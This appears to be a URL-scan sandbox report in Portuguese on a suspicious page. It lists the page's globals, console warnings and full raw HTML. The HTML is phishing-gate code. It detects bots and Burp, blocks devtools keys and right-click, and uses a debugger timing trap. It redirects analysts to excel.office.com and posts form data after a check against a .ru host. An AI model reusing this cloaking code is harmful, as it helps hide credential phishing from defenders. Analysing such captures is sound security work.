https://vh5.irsonighten.com/TyYiN53t/

ID da verificação: 3075e349-433a-4e23-9264-a8c1abb46d04Concluído
URL enviado:: https://vh5.irsonighten.com/TyYiN53t/
Relatório concluído:: 18/11/2024, 05:59:33

Ligações · 0 encontradas

As ligações de saída identificadas na página

Variáveis JavaScript · 10 encontradas

Variáveis JavaScript globais carregadas no objeto janela de uma página são variáveis declaradas fora das funções e acessíveis de qualquer parte do código dentro do âmbito atual

Nome	Tipo
onbeforetoggle	object
documentPictureInPicture	object
onscrollend	object
rxSlYGlgCZ	object
$	function
jQuery	function
turnstile	object
CryptoJS	object
runjVubAzJ	function
geNMbZYwWP	function

Mensagens de registo da consola · 5 encontradas

Mensagens registadas na consola web

Tipo	Categoria	Registo
warning	network	URL https://vh5.irsonighten.com/TyYiN53t/ Texto A parser-blocking, cross site (i.e. different eTLD+1) script, https://code.jquery.com/jquery-3.6.0.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warning	network	URL https://vh5.irsonighten.com/TyYiN53t/ Texto A parser-blocking, cross site (i.e. different eTLD+1) script, https://code.jquery.com/jquery-3.6.0.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warning	network	URL https://vh5.irsonighten.com/TyYiN53t/ Texto A parser-blocking, cross site (i.e. different eTLD+1) script, https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
warning	network	URL https://vh5.irsonighten.com/TyYiN53t/ Texto A parser-blocking, cross site (i.e. different eTLD+1) script, https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.
error	network	URL https://vh5.irsonighten.com/favicon.ico Texto Failed to load resource: the server responded with a status of 404 ()

HTML

O corpo HTML em bruto da página

<!-- The customer is always right. --><!-- If you really look closely, most overnight successes took a long time. --><html lang="en"><head>


    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <style>
body {
  background-color: #fff;
  height: 100%;
  overflow: hidden;
}
#euobUVJITy h4{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;}
#euobUVJITy h4{font-size:calc(1.3);}
@media (min-width:1200px){
#euobUVJITy h4{font-size:1.5rem;}
}
#euobUVJITy p{margin-top:0;margin-bottom:1rem;}
#euobUVJITy.captcha-container{position: relative;top: 153px;/*width: 100%;*/padding-right: var(--bs-gutter-x, .75rem);padding-left: var(--bs-gutter-x, .75rem);margin-right: auto;margin-left: auto;}
#euobUVJITy .text-center {text-align: center!important;}
@media (min-width:992px){
#euobUVJITy .col-lg-4{flex:0 0 auto;width:33.33333333%;}
}
#euobUVJITy .display-4 {font-size: 1.25rem!important;}
#euobUVJITy .mt-2 {margin-top: 0.5rem!important;}
#euobUVJITy .h4 {font-size: calc(.900rem + .3vw);}
#euobUVJITy .justify-content-center{justify-content:center!important;}
#euobUVJITy.mt-5{margin-top:3rem!important;}
#euobUVJITy .mt-4 {margin-top: 1rem!important;}
#euobUVJITy #sBbPnTTkmu {color: #6c757d;font-size:14px;margin-top: .5rem;}
    </style>
    <script>
    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.key === 'F12') {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.key === 'U') || // Ctrl + U
        (event.ctrlKey && event.shiftKey && event.key === 'I') || // Ctrl + Shift + I
        (event.ctrlKey && event.shiftKey && event.key === 'C') || // Ctrl + Shift + C
        (event.ctrlKey && event.shiftKey && event.key === 'J')    // Ctrl + Shift + J
    ) {
        event.preventDefault();
        return false;
    }

    if (
        (event.metaKey && event.altKey && event.key === 'I') || // Cmd + Option + I
        (event.metaKey && event.altKey && event.key === 'C')    // Cmd + Option + C
    ) {
        event.preventDefault();
        return false;
    }

    if (event.ctrlKey && event.shiftKey && event.key === 'K') {
        event.preventDefault();
        return false;
    }

    if (event.ctrlKey && event.key === 'H') {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
(function detectDevTools() {
    let devtoolsOpen = false;
    const threshold = 100; // Time delay threshold for detecting debugger
    setInterval(function() {
        const start = performance.now();
        debugger; // Intentionally trigger debugger detection
        const end = performance.now();
        if (end - start > threshold && !devtoolsOpen) {
            devtoolsOpen = true;
            window.location.replace('https://excel.office.com');
        }
    }, 1000);
})();
    </script>
</head>

<body style="font-family: arial, sans-serif;background-color: #fff;color: #000;padding: 20px;font-size: 18px;overscroll-behavior: contain;">
<div id="euobUVJITy" class="captcha-container">
<div id="FZbZFLTPRJ" class="justify-content-center">
<div class="text-center">
<form id="KTCcbRXiyp">
<div class="cf_turnstile" id="cf"><div><input type="hidden" name="cf-turnstile-response" id="cf-chl-widget-8mdii_response"></div></div>
<input type="hidden" id="sid" name="sid" value="afqDoA0lt92x6etIsyqEybtCNHqkDmpS19Cqnftj">
<input type="hidden" id="pagelink" name="pagelink" value="">
<input type="hidden" id="bltdip" name="bltdip" value="Unknown">
<input type="hidden" id="bltdref" name="bltdref" value="">
<input type="hidden" id="bltdua" name="bltdua" value="Unknown">
<input type="hidden" id="bltddata" name="bltddata" value="">
</form>
</div>
<div class="text-center" id="sBbPnTTkmu">
Performing security checks on your browser for protection.
</div>

</div>
</div>

<script>
turnstile.render('#cf', {
    sitekey: '0x4AAAAAAAybXKgro5bYF3x0',
    'error-callback': runjVubAzJ,
    callback: geNMbZYwWP,
});
function runjVubAzJ() {
    turnstile.reset();
}
function geNMbZYwWP() {
    var PAccJKkIck = document.getElementById("KTCcbRXiyp");
    PAccJKkIck.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = 'bxdV';
    var fLpJYPPCSO = "../hfrDLWRkjBkw1z0noCgJ5uorIOnAqNopsob3Hp7v";
    fetch('https://OWD3s1auTXpSSPF9AzAlwvUxtYZFMwEQG30xR7LCXEARfpgxVFlOC.avzcafe.ru/816833957218765870ggVdvQllCIGEBKRAFWKITXWZDTTVSCAXJPVPSRZDZIW', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(fLpJYPPCSO, {
        method: "POST",
        body: new FormData(PAccJKkIck)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        location.reload();
        }
        if(data['status'] == 'error'){
        window.location.replace('https://excel.office.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://excel.office.com');
    }
    })
    .catch(error => {
    window.location.replace('https://excel.office.com');
    });
}
</script>





</body></html><!-- You know you are on the road to success if you would do your job, and not be paid for it. -->